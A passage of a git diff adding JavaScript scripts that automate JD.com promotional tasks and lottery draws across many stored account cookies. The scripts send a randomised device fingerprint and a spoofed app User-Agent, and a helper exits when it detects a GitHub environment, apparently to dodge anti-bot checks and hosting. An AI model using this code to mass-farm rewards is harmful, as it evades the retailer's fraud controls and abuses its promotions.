}) + }) +} + +//领奖励 +async function collectionOneMission(title, getRewardNo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","getCode":"${getRewardNo}"}]`; + const myRequest = getPostRequest('luckDraw/getDrawChance', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + console.log(`${title},领取任务奖励成功`); + } else { + console.log(JSON.stringify(data)); + console.log(`${title},领取任务执行失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//做任务 +async function doOneMission(missionInfo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","missionNo":"${missionInfo.missionNo}","params":${JSON.stringify(missionInfo.params)}}]`; + const myRequest = getPostRequest('luckdraw/completeMission', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + console.log(`${missionInfo.title},任务执行成功`); + } else { + console.log(JSON.stringify(data)); + console.log(`${missionInfo.title},任务执行失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取任务列表 +async function getQueryMissionList() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('luckdraw/queryMissionList', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + $.missionList = data.content.missionList; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取信息 +async function getLotteryInfo() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('luckdraw/queryActivityBaseInfo', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + $.lotteryInfo = JSON.parse(data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +async function lotteryDraw() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('luckdraw/draw', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + //console.log(`${data}`); + data = JSON.parse(data); + if (data.success === true) { + console.log(`${$.name}第${$.drawNumber}次抽奖,获得:${data.content.rewardDTO.title || ' '}`); + } else { + console.log(`${$.name}第${$.drawNumber}次抽奖失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPostRequest(type, body) { + const url = `https://lop-proxy.jd.com/${type}`; + const method = `POST`; + const headers = { + 'Accept-Encoding': `gzip, deflate, br`, + 'Host': `lop-proxy.jd.com`, + 'Origin': `https://jingcai-h5.jd.com`, + 'Connection': `keep-alive`, + 'biz-type': `service-monitor`, + 'Accept-Language': `zh-cn`, + 'version': `1.0.0`, + 'Content-Type': `application/json;charset=utf-8`, + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16A404 MicroMessenger/8.0.4(0x1800042c) NetType/4G Language/zh_CN', + 'Referer': `https://jingcai-h5.jd.com`, + 'ClientInfo': `{"appName":"jingcai","client":"m"}`, + 'access': `H5`, + 'Accept': `application/json, text/plain, */*`, + 'jexpress-report-time': `${new Date().getTime()}`, + 'source-client': `2`, + 'X-Requested-With': `XMLHttpRequest`, + 'Cookie': cookie, + 'LOP-DN': `jingcai.jd.com`, + 'AppParams': `{"appid":158,"ticket_type":"m"}`, + 'app-key': `jexpress` + }; + return {url: url, method: method, headers: headers, body: body}; +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_xtclh.js b/jd_xtclh.js new file mode 100644 index 0000000..ddb540c --- /dev/null +++ b/jd_xtclh.js @@ -0,0 +1,338 @@ +/* +[task_local] +#4月小天才联合活动 +31 16 16-30/3 4 * jd_xtclh.js, tag=4月小天才联合活动, enabled=true +from https://raw.githubusercontent.com/KingRan/KR/main/jd_opencardty.js + */ +const $ = new Env('4月小天才联合活动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = "3581767cb40d464b908d8dc0e6cc3ccf"; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + console.log('入口下拉:https://pro.m.jd.com/wq/active/23ebsEwajrvYj9qqsqhDJwZprQBo/index.html') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + //await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 10); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + continue; + } + if (vo.taskName == '每日签到') { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await getinfo2(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 4) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 2) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo2(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getinfo2 API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete 